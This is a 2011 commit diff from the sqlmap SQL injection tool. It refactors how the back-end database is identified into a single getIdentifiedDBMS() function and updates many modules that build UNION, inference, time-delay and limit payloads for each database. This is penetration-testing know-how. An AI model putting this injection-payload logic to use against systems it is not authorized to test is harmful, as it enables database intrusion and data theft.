Major code refactoring - moved to one location only (getIdentifiedDBMS() in common.py) the retrieval of identified/fingerprinted DBMS.

Minor bug fixes thanks to previous refactoring too.
This commit is contained in:
Bernardo Damele 2011-01-13 17:36:54 +00:00
parent a1d1f69c3f
commit 2ac8debea0
37 changed files with 342 additions and 314 deletions

View File

@ -12,6 +12,7 @@ import socket
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import aliasToDbmsEnum
from lib.core.common import beep from lib.core.common import beep
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import findDynamicContent from lib.core.common import findDynamicContent
@ -430,7 +431,7 @@ def checkSqlInjection(place, parameter, value):
for detailKey, detailValue in test.details.items(): for detailKey, detailValue in test.details.items():
if detailKey == "dbms" and injection.dbms is None: if detailKey == "dbms" and injection.dbms is None:
injection.dbms = detailValue injection.dbms = detailValue
kb.dbms = detailValue kb.dbms = aliasToDbmsEnum(detailValue)
elif detailKey == "dbms_version" and injection.dbms_version is None: elif detailKey == "dbms_version" and injection.dbms_version is None:
injection.dbms_version = detailValue injection.dbms_version = detailValue
kb.dbmsVersion = [ detailValue ] kb.dbmsVersion = [ detailValue ]

View File

@ -7,7 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import getErrorParsedDBMSes from lib.core.common import getIdentifiedDBMS
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.data import conf from lib.core.data import conf
@ -63,18 +63,11 @@ def setHandler():
( SYBASE_ALIASES, SybaseMap, SybaseConn ), ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
] ]
inferencedDbms = (getErrorParsedDBMSes()[0] if getErrorParsedDBMSes() else '') or kb.dbms if getIdentifiedDBMS() is not None:
for injection in kb.injections:
if hasattr(injection, "dbms") and injection.dbms:
inferencedDbms = injection.dbms
break
if inferencedDbms is not None:
for i in xrange(len(dbmsObj)): for i in xrange(len(dbmsObj)):
dbmsAliases, _, _ = dbmsObj[i] dbmsAliases, _, _ = dbmsObj[i]
if inferencedDbms.lower() in dbmsAliases: if getIdentifiedDBMS().lower() in dbmsAliases:
if i > 0: if i > 0:
pushValue(dbmsObj[i]) pushValue(dbmsObj[i])
dbmsObj.remove(dbmsObj[i]) dbmsObj.remove(dbmsObj[i])

View File

@ -13,6 +13,7 @@ from xml.etree import ElementTree as ET
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getErrorParsedDBMSes from lib.core.common import getErrorParsedDBMSes
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import randomInt from lib.core.common import randomInt
@ -33,13 +34,6 @@ class Agent:
This class defines the SQL agent methods. This class defines the SQL agent methods.
""" """
def __init__(self):
kb.misc = advancedDict()
kb.misc.delimiter = randomStr(length=6)
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
def payloadDirect(self, query): def payloadDirect(self, query):
if query.startswith("AND "): if query.startswith("AND "):
query = query.replace("AND ", "SELECT ", 1) query = query.replace("AND ", "SELECT ", 1)
@ -211,8 +205,8 @@ class Agent:
payload = payload.replace("[ORIGVALUE]", origvalue) payload = payload.replace("[ORIGVALUE]", origvalue)
if "[INFERENCE]" in payload: if "[INFERENCE]" in payload:
if kb.dbms is not None: if getIdentifiedDBMS() is not None:
inference = queries[kb.dbms].inference inference = queries[getIdentifiedDBMS()].inference
if "dbms_version" in inference: if "dbms_version" in inference:
if isDBMSVersionAtLeast(inference.dbms_version): if isDBMSVersionAtLeast(inference.dbms_version):
@ -223,11 +217,6 @@ class Agent:
inferenceQuery = inference.query inferenceQuery = inference.query
payload = payload.replace("[INFERENCE]", inferenceQuery) payload = payload.replace("[INFERENCE]", inferenceQuery)
elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
inferenceQuery = queries[kb.misc.testedDbms].inference.query
payload = payload.replace("[INFERENCE]", inferenceQuery)
else: else:
errMsg = "invalid usage of inference payload without " errMsg = "invalid usage of inference payload without "
errMsg += "knowledge of underlying DBMS" errMsg += "knowledge of underlying DBMS"
@ -275,17 +264,17 @@ class Agent:
# SQLite version 2 does not support neither CAST() nor IFNULL(), # SQLite version 2 does not support neither CAST() nor IFNULL(),
# introduced only in SQLite version 3 # introduced only in SQLite version 3
if kb.dbms == DBMS.SQLITE: if getIdentifiedDBMS() == DBMS.SQLITE:
return field return field
if field.startswith("(CASE"): if field.startswith("(CASE"):
nulledCastedField = field nulledCastedField = field
else: else:
nulledCastedField = queries[kb.dbms].cast.query % field nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field
if kb.dbms == DBMS.ACCESS: if getIdentifiedDBMS() == DBMS.ACCESS:
nulledCastedField = queries[kb.dbms].isnull.query % (nulledCastedField, nulledCastedField) nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField)
else: else:
nulledCastedField = queries[kb.dbms].isnull.query % nulledCastedField nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField
return nulledCastedField return nulledCastedField
@ -324,7 +313,7 @@ class Agent:
fields = fields.replace(", ", ",") fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",") fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[kb.dbms].delimiter.query dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
nulledCastedFields = [] nulledCastedFields = []
for field in fieldsSplitted: for field in fieldsSplitted:
@ -383,13 +372,13 @@ class Agent:
def simpleConcatQuery(self, query1, query2): def simpleConcatQuery(self, query1, query2):
concatenatedQuery = "" concatenatedQuery = ""
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif kb.dbms in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ): elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
concatenatedQuery = "%s||%s" % (query1, query2) concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
concatenatedQuery = "%s+%s" % (query1, query2) concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery return concatenatedQuery
@ -431,7 +420,7 @@ class Agent:
concatenatedQuery = query concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
if fieldsSelectCase: if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
concatenatedQuery += ",'%s')" % kb.misc.stop concatenatedQuery += ",'%s')" % kb.misc.stop
@ -444,7 +433,7 @@ class Agent:
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
elif kb.dbms in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ): elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
if fieldsSelectCase: if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop concatenatedQuery += "||'%s'" % kb.misc.stop
@ -457,10 +446,10 @@ class Agent:
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop) concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
if kb.dbms == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ): if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatenatedQuery += " FROM DUAL" concatenatedQuery += " FROM DUAL"
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
if fieldsSelectTop: if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1)
@ -511,13 +500,13 @@ class Agent:
""" """
if query.startswith("SELECT "): if query.startswith("SELECT "):
query = query[len("SELECT "):] query = query[len("SELECT "):]
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
if query.startswith("TOP"): if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1) topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):] query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum inbandQuery += "TOP %s " % topNum
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
@ -526,7 +515,7 @@ class Agent:
intoRegExp = intoRegExp.group(1) intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)] query = query[:query.index(intoRegExp)]
if kb.dbms == DBMS.ORACLE and inbandQuery.endswith(" FROM DUAL"): if getIdentifiedDBMS() == DBMS.ORACLE and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")] inbandQuery = inbandQuery[:-len(" FROM DUAL")]
for element in range(count): for element in range(count):
@ -546,7 +535,7 @@ class Agent:
conditionIndex = query.index(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:] inbandQuery += query[conditionIndex:]
if kb.dbms == DBMS.ORACLE or DBMS.ORACLE in getErrorParsedDBMSes(): if getIdentifiedDBMS() == DBMS.ORACLE:
if " FROM " not in inbandQuery: if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
@ -565,7 +554,7 @@ class Agent:
else: else:
inbandQuery += char inbandQuery += char
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
inbandQuery += " FROM DUAL" inbandQuery += " FROM DUAL"
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
@ -595,21 +584,21 @@ class Agent:
""" """
limitedQuery = query limitedQuery = query
limitStr = queries[kb.dbms].limit.query limitStr = queries[getIdentifiedDBMS()].limit.query
fromIndex = limitedQuery.index(" FROM ") fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex] untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:] fromFrom = limitedQuery[fromIndex+1:]
orderBy = False orderBy = False
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE ):
limitStr = queries[kb.dbms].limit.query % (num, 1) limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
limitStr = queries[kb.dbms].limit.query % (num+1, num+1) limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
@ -621,7 +610,7 @@ class Agent:
limitedQuery = limitedQuery % fromFrom limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1) limitedQuery += "=%d" % (num + 1)
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
forgeNotIn = True forgeNotIn = True
if " ORDER BY " in limitedQuery: if " ORDER BY " in limitedQuery:
@ -635,7 +624,7 @@ class Agent:
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp.query, limitedQuery, re.I) topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I)
if topNums: if topNums:
topNums = topNums.groups() topNums = topNums.groups()
@ -681,7 +670,7 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
return queries[kb.dbms if kb.dbms else kb.misc.testedDbms].case.query % expression return queries[getIdentifiedDBMS()].case.query % expression
def addPayloadDelimiters(self, inpStr): def addPayloadDelimiters(self, inpStr):
""" """

View File

@ -218,15 +218,15 @@ def formatDBMSfp(versions=None):
versions = kb.dbmsVersion versions = kb.dbmsVersion
if isinstance(versions, basestring): if isinstance(versions, basestring):
return "%s %s" % (kb.dbms, versions) return "%s %s" % (getIdentifiedDBMS(), versions)
elif isinstance(versions, (list, set, tuple)): elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions])) return "%s %s" % (getIdentifiedDBMS(), " and ".join([version for version in versions]))
elif not versions: elif not versions:
warnMsg = "unable to extensively fingerprint the back-end " warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version" warnMsg += "DBMS version"
logger.warn(warnMsg) logger.warn(warnMsg)
return kb.dbms return getIdentifiedDBMS()
def formatFingerprintString(values, chain=" or "): def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values]) strJoin = "|".join([v for v in values])
@ -627,7 +627,7 @@ def parsePasswordHash(password):
if not password or password == " ": if not password or password == " ":
password = "NULL" password = "NULL"
if kb.dbms == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password): if getIdentifiedDBMS() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
hexPassword = password hexPassword = password
password = "%s\n" % hexPassword password = "%s\n" % hexPassword
password += "%sheader: %s\n" % (blank, hexPassword[:6]) password += "%sheader: %s\n" % (blank, hexPassword[:6])
@ -928,25 +928,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
def getDelayQuery(andCond=False): def getDelayQuery(andCond=False):
query = None query = None
if kb.dbms in (DBMS.MYSQL, DBMS.PGSQL): if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
if not kb.data.banner: if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner() conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
if banVer is None or (kb.dbms == DBMS.MYSQL and banVer >= "5.0.12") or (kb.dbms == DBMS.PGSQL and banVer >= "8.2"): if banVer is None or (getIdentifiedDBMS() == DBMS.MYSQL and banVer >= "5.0.12") or (getIdentifiedDBMS() == DBMS.PGSQL and banVer >= "8.2"):
query = queries[kb.dbms].timedelay.query % conf.timeSec query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
else: else:
query = queries[kb.dbms].timedelay.query2 % conf.timeSec query = queries[getIdentifiedDBMS()].timedelay.query2 % conf.timeSec
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = queries[kb.dbms].timedelay.query query = queries[getIdentifiedDBMS()].timedelay.query
else: else:
query = queries[kb.dbms].timedelay.query % conf.timeSec query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec
if andCond: if andCond:
if kb.dbms in ( DBMS.MYSQL, DBMS.SQLITE ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.SQLITE ):
query = query.replace("SELECT ", "") query = query.replace("SELECT ", "")
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = "(%s)>0" % query query = "(%s)>0" % query
return query return query
@ -1763,7 +1763,7 @@ def aliasToDbmsEnum(value):
retVal = None retVal = None
for key, item in dbmsDict.items(): for key, item in dbmsDict.items():
if value in item[0]: if value.lower() in item[0]:
retVal = key retVal = key
break break
@ -2040,6 +2040,18 @@ def getErrorParsedDBMSes():
return kb.htmlFp return kb.htmlFp
def getIdentifiedDBMS():
dbms = None
if kb.dbms is not None:
dbms = kb.dbms
elif conf.dbms is not None:
dbms = conf.dbms
elif getErrorParsedDBMSes() is not None:
dbms = getErrorParsedDBMSes()[0]
return aliasToDbmsEnum(dbms)
def showHttpErrorCodes(): def showHttpErrorCodes():
""" """
Shows all HTTP error codes raised till now Shows all HTTP error codes raised till now

View File

@ -31,7 +31,7 @@ class DBMS:
MSSQL = "Microsoft SQL Server" MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL" MYSQL = "MySQL"
ORACLE = "Oracle" ORACLE = "Oracle"
PGSQL = "PostgreSQL" PGSQL = "PostgreSQL"
SQLITE = "SQLite" SQLITE = "SQLite"
SYBASE = "Sybase" SYBASE = "Sybase"

View File

@ -34,6 +34,7 @@ from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readCachedFileContent from lib.core.common import readCachedFileContent
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
@ -46,6 +47,7 @@ from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.datatype import injectionDict from lib.core.datatype import injectionDict
from lib.core.enums import DBMS
from lib.core.enums import HTTPMETHOD from lib.core.enums import HTTPMETHOD
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
@ -1165,6 +1167,12 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.threadException = False kb.threadException = False
kb.threadData = {} kb.threadData = {}
kb.misc = advancedDict()
kb.misc.delimiter = randomStr(length=6)
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
if flushAll: if flushAll:
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.tamperFunctions = [] kb.tamperFunctions = []

View File

@ -13,6 +13,7 @@ from lib.core.common import aliasToDbmsEnum
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString from lib.core.common import formatFingerprintString
from lib.core.common import getFilteredPageContent from lib.core.common import getFilteredPageContent
from lib.core.common import getIdentifiedDBMS
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import base64pickle from lib.core.convert import base64pickle
from lib.core.convert import base64unpickle from lib.core.convert import base64unpickle
@ -140,7 +141,7 @@ def setDbms(dbms):
if dbmsRegExp: if dbmsRegExp:
dbms = dbmsRegExp.group(1) dbms = dbmsRegExp.group(1)
kb.dbms = dbms kb.dbms = aliasToDbmsEnum(dbms)
logger.info("the back-end DBMS is %s" % kb.dbms) logger.info("the back-end DBMS is %s" % kb.dbms)
@ -340,7 +341,7 @@ def resumeConfKb(expression, url, value):
if '.' in table: if '.' in table:
db, table = table.split('.') db, table = table.split('.')
else: else:
db = "%s%s" % (kb.dbms, METADB_SUFFIX) db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
logMsg = "resuming brute forced table name " logMsg = "resuming brute forced table name "
logMsg += "'%s' from session file" % table logMsg += "'%s' from session file" % table
@ -355,7 +356,7 @@ def resumeConfKb(expression, url, value):
if '.' in table: if '.' in table:
db, table = table.split('.') db, table = table.split('.')
else: else:
db = "%s%s" % (kb.dbms, METADB_SUFFIX) db = "%s%s" % (getIdentifiedDBMS(), METADB_SUFFIX)
logMsg = "resuming brute forced column name " logMsg = "resuming brute forced column name "
logMsg += "'%s' for table '%s' from session file" % (colName, table) logMsg += "'%s' for table '%s' from session file" % (colName, table)

View File

@ -12,6 +12,7 @@ import os
import rlcompleter import rlcompleter
from lib.core import readlineng as readline from lib.core import readlineng as readline
from lib.core.common import getIdentifiedDBMS
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
@ -29,7 +30,7 @@ def loadHistory():
def queriesForAutoCompletion(): def queriesForAutoCompletion():
autoComplQueries = {} autoComplQueries = {}
for item in queries[kb.dbms]._toflat(): for item in queries[getIdentifiedDBMS()]._toflat():
if item._has_key('query') and len(item.query) > 1 and item._name != 'blind': if item._has_key('query') and len(item.query) > 1 and item._name != 'blind':
autoComplQueries[item.query] = None autoComplQueries[item.query] = None

View File

@ -7,18 +7,15 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import getErrorParsedDBMSes from lib.core.common import getIdentifiedDBMS
from lib.core.data import kb
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
class Unescaper(advancedDict): class Unescaper(advancedDict):
def unescape(self, expression, quote=True, dbms=None): def unescape(self, expression, quote=True, dbms=None):
if hasattr(kb, "dbms") and kb.dbms is not None: identifiedDbms = getIdentifiedDBMS()
return self[kb.dbms](expression, quote=quote)
elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None: if identifiedDbms is not None:
return self[kb.misc.testedDbms](expression, quote=quote) return self[identifiedDbms](expression, quote=quote)
elif getErrorParsedDBMSes():
return self[getErrorParsedDBMSes()[0]](expression, quote=quote)
elif dbms is not None: elif dbms is not None:
return self[dbms](expression, quote=quote) return self[dbms](expression, quote=quote)
else: else:

View File

@ -13,6 +13,7 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getIdentifiedDBMS
from lib.core.common import parseXmlFile from lib.core.common import parseXmlFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb from lib.core.data import kb
@ -94,13 +95,13 @@ def bannerParser(banner):
xmlfile = None xmlfile = None
if kb.dbms == DBMS.MSSQL: if getIdentifiedDBMS() == DBMS.MSSQL:
xmlfile = paths.MSSQL_XML xmlfile = paths.MSSQL_XML
elif kb.dbms == DBMS.MYSQL: elif getIdentifiedDBMS() == DBMS.MYSQL:
xmlfile = paths.MYSQL_XML xmlfile = paths.MYSQL_XML
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
xmlfile = paths.ORACLE_XML xmlfile = paths.ORACLE_XML
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
xmlfile = paths.PGSQL_XML xmlfile = paths.PGSQL_XML
if not xmlfile: if not xmlfile:
@ -108,7 +109,7 @@ def bannerParser(banner):
checkFile(xmlfile) checkFile(xmlfile)
if kb.dbms == DBMS.MSSQL: if getIdentifiedDBMS() == DBMS.MSSQL:
handler = MSSQLBannerHandler(banner, kb.bannerFp) handler = MSSQLBannerHandler(banner, kb.bannerFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)

View File

@ -9,6 +9,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.convert import base64pickle from lib.core.convert import base64pickle
from lib.core.convert import base64unpickle from lib.core.convert import base64unpickle
@ -25,7 +26,7 @@ def direct(query, content=True):
select = False select = False
query = agent.payloadDirect(query) query = agent.payloadDirect(query)
if kb.dbms == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query: if getIdentifiedDBMS() == DBMS.ORACLE and query.startswith("SELECT ") and " FROM " not in query:
query = "%s FROM DUAL" % query query = "%s FROM DUAL" % query
for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlTitle, sqlStatements in SQL_STATEMENTS.items():

View File

@ -15,6 +15,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import cleanQuery from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -48,7 +49,7 @@ from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time() start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and getIdentifiedDBMS():
_, length, _ = queryOutputLength(expression, payload) _, length, _ = queryOutputLength(expression, payload)
else: else:
length = None length = None
@ -160,7 +161,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
if rdbRegExp and kb.dbms == DBMS.FIREBIRD: if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD:
expressionFieldsList = [expressionFields] expressionFieldsList = [expressionFields]
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
@ -176,13 +177,13 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
# NOTE: I assume that only queries that get data from a table # NOTE: I assume that only queries that get data from a table
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression: if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I) limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or ( kb.dbms in (DBMS.MSSQL, DBMS.SYBASE) and topLimit ): if limitRegExp or ( getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit ):
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -190,10 +191,10 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp: if limitRegExp:
